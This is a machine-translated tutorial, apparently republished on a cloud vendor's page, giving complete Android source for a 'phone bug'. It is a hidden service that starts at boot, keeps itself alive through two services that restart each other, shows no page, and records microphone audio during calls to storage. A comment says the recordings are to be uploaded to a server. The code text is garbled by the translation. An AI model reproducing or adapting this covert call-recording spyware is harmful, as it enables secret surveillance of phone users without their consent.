Simple implementation of phone bugs in Android

Source: Internet
Author: User

Want to implement the telephone listener, thinking:

1. The program must be run in the background first, so it needs to be serviced.

2. How to implement telephone monitoring, first to obtain the phone manager, and then monitor the status of the phone.

3. Through the different status of the phone, to achieve telephone monitoring.

4. You have to start the boot.

5. Do a daemon and you can't shut down.

6. In the main activity of the OnCreate () automatically open, this activity does not need the page

Look at the code implementation:

Package Com.jrrjw.phonelistener;import Java.io.file;import Android.app.service;import android.content.Intent; Import Android.media.mediarecorder;import Android.os.environment;import Android.os.ibinder;import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;public class SystemService2 extends Service {//Phone manager private Telephonymanager tm;//Listener Object Private MyListener listener;//statement Recorder private Mediarecorder Mediarecorder; @Overridepublic ibinder onbind (Intent Intent) {return null;} The method called when the service was created @overridepublic void OnCreate () {///background listener call status. Get the Phone Manager tm = (Telephonymanager) this.getsystemservice (telephony_service); listener = new MyListener (); Tm.listen ( Listener, phonestatelistener.listen_call_state); Super.oncreate ();} Private class MyListener extends Phonestatelistener {//the method called when the call status of the phone changes @overridepublic void oncallstatechanged ( int state, String incomingnumber) {super.oncallstatechanged (state, incomingnumber); try {switch Telephonymanager.call_state_idle://idle state. if (Mediarecorder! = null) {///8. Stop capturing Mediarecorder.stop ();//9. Release the resource Mediarecorder.release (); mediarecorder = null; System.out.println ("After recording, upload the file to the server. ");} Break;case telephonymanager.call_state_ringing://0-ring state. Break;case telephonymanager.call_state_offhook://Call Status//Start recording//1. Instantiate a Recorder Mediarecorder = new Mediarecorder ();//2. Specifies the sound source of the recorder Mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC); Here is the use of mic can be other types, this self-Google, because the United States and European countries have laws to record the law, so here I only recorded their own voice//3. Set the format of the recorded file output Mediarecorder.setoutputformat ( MediaRecorder.OutputFormat.DEFAULT)///4. Specify the name of the recording file, filename file = new file (Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". mp3"); Mediarecorder.setoutputfile (File.getabsolutepath ());//5. Set the audio encoding Mediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT);//6. Prepare to start recording mediarecorder.prepare ();// 7. Start recording Mediarecorder.start (); break;}} catch (Exception e) {e.printstacktrace ();}}} The method called when the service is destroyed @overridepublic void OnDestroy () {Super.ondestroy ();//cancels the phone's monitoring System.out. println ("Ondestory"); Tm.listen (Listener, phonestatelistener.listen_none); Intent i = new Intent (This, Systemservice.class); StartService (i); listener = null;}}
2. Daemon Process

Package Com.jrrjw.phonelistener;import Java.io.file;import Java.io.ioexception;import android.app.Service;import Android.content.intent;import Android.media.mediarecorder;import Android.os.environment;import Android.os.IBinder ; Import Android.telephony.phonestatelistener;import Android.telephony.telephonymanager;public class SystemService Extends Service {//Phone manager private Telephonymanager tm;//Listener object Private MyListener listener;//claims recorder private Mediarecorder me Diarecorder; @Overridepublic ibinder onbind (Intent Intent) {return null;} The method called when the service was created @overridepublic void OnCreate () {///background listener call status. Get the Phone Manager tm = (Telephonymanager) this.getsystemservice (telephony_service); listener = new MyListener (); Tm.listen ( Listener, phonestatelistener.listen_call_state); Super.oncreate ();} Private class MyListener extends Phonestatelistener {//the method called when the call status of the phone changes @overridepublic void oncallstatechanged ( int state, String incomingnumber) {super.oncallstatechanged (state, incomingnumber); try {switchtelephonymanager.call_state_idle://idle state. if (Mediarecorder! = null) {///8. Stop capturing Mediarecorder.stop ();//9. Release the resource Mediarecorder.release (); mediarecorder = null; System.out.println ("After recording, upload the file to the server. ");} Break;case telephonymanager.call_state_ringing://0-ring state. Break;case telephonymanager.call_state_offhook://Call Status//Start recording//1. Instantiate a Recorder Mediarecorder = new Mediarecorder ();//2. Specifies the sound source of the recorder Mediarecorder.setaudiosource (MediaRecorder.AudioSource.MIC);//3. Sets the format of the recorded file output Mediarecorder.setoutputformat (MediaRecorder.OutputFormat.DEFAULT);//4. Specify the name of the recording file files = new file ( Environment.getexternalstoragedirectory (), System.currenttimemillis () + ". mp3"); Mediarecorder.setoutputfile ( File.getabsolutepath ());//5. Set the audio encoding Mediarecorder.setaudioencoder (MediaRecorder.AudioEncoder.DEFAULT);//6. Ready to start recording mediarecorder.prepare ();//7. Start recording Mediarecorder.start (); break;}} catch (Exception e) {e.printstacktrace ();}}} The method called when the service is destroyed @overridepublic void OnDestroy () {Super.ondestroy ();//cancels the phone's monitoring System.out.println ("ondestory"); Intent i = newIntent (this, systemservice2.class); StartService (i); Tm.listen (Listener, phonestatelistener.listen_none); listener = null;}}


3. Boot from boot

Package Com.jrrjw.phonelistener;import Android.content.broadcastreceiver;import Android.content.context;import Android.content.intent;public class Bootreceiver extends Broadcastreceiver {@Overridepublic void OnReceive (Context Context, Intent Intent) {Intent i = new Intent (context,systemservice.class); Context.startservice (i);}}

4. Display of the main page

Package Com.jrrjw.phonelistener;import Com.jrrjw.phonelistener.r;import Android.app.activity;import Android.content.intent;import Android.os.bundle;import Android.view.view;import Android.widget.Toast;public class Mainactivity extends Activity {@Overrideprotected void onCreate (Bundle savedinstancestate) {super.oncreate ( Savedinstancestate); Setcontentview (R.layout.activity_main); Boolean isrunning = Serviceutils.isservicrunning (This, "Com.jrrjw.phonelistener.SystemService"), if (!isrunning) {Intent Intent = new Intent (this, systemservice.class); StartService (intent);} Toast.maketext (This, "System Service is Running", Toast.length_short). Show (); Finish ();}}

5. Contents of the manifest file

<?xml version= "1.0" encoding= "Utf-8"? ><manifest xmlns:android= "http://schemas.android.com/apk/res/         Android "package=" Com.jrrjw.phonelistener "android:versioncode=" 1 "android:versionname=" 1.0 "> <uses-sdk android:minsdkversion= "8" android:targetsdkversion= "/> <uses-permission android:name=" Android. Permission. Read_phone_state "/> <uses-permission android:name=" Android.permission.WRITE_EXTERNAL_STORAGE "/> <uses -permission android:name= "Android.permission.RECORD_AUDIO"/> <uses-permission android:name= " Android.permission.RECEIVE_BOOT_COMPLETED "/> <application android:allowbackup=" true "android:icon= "@drawable/ic_launcher" android:label= "@string/app_name" android:theme= "@style/apptheme" > <act            Ivity android:name= "com.jrrjw.phonelistener.MainActivity" android:label= "@string/app_name" > <intent-filter> <action android:name= "Android.intent.action.MAIN"/> <category android:name= "Android.intent.category.LA Uncher "/> </intent-filter> </activity> <service android:name=" Com.jrrjw.phonel Istener.        Systemservice "> </service> <service android:name=" Com.jrrjw.phonelistener.SystemService2 "> </service> <receiver android:name= "Com.jrrjw.phonelistener.BootReceiver" > <intent -filter> <action android:name= "Android.intent.action.BOOT_COMPLETED"/> </intent-fil Ter> </receiver> </application></manifest>

6. The tool class used to determine whether the current service is running

Package Com.jrrjw.phonelistener;import Java.util.list;import Android.app.activitymanager;import Android.app.activitymanager.runningserviceinfo;import Android.content.context;public class ServiceUtils {public Static Boolean isservicrunning (context context, String ServiceName) {Activitymanager am = (activitymanager) Context.getsystemservice (context. Activity_service); list<runningserviceinfo> infos = am.getrunningservices (+); for (Runningserviceinfo Runningserviceinfo:infos) {String Servicen = RunningServiceInfo.service.getClassName (); if (Servicename.equals (Servicen)) {return true;}} return false;}}
OK, so that a simple phone listener, once your call is over, the listener will record the sound in the form of time saved to your SD card, here I do not determine whether the SD card exists, just a demo


Simple implementation of phone bugs in Android

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.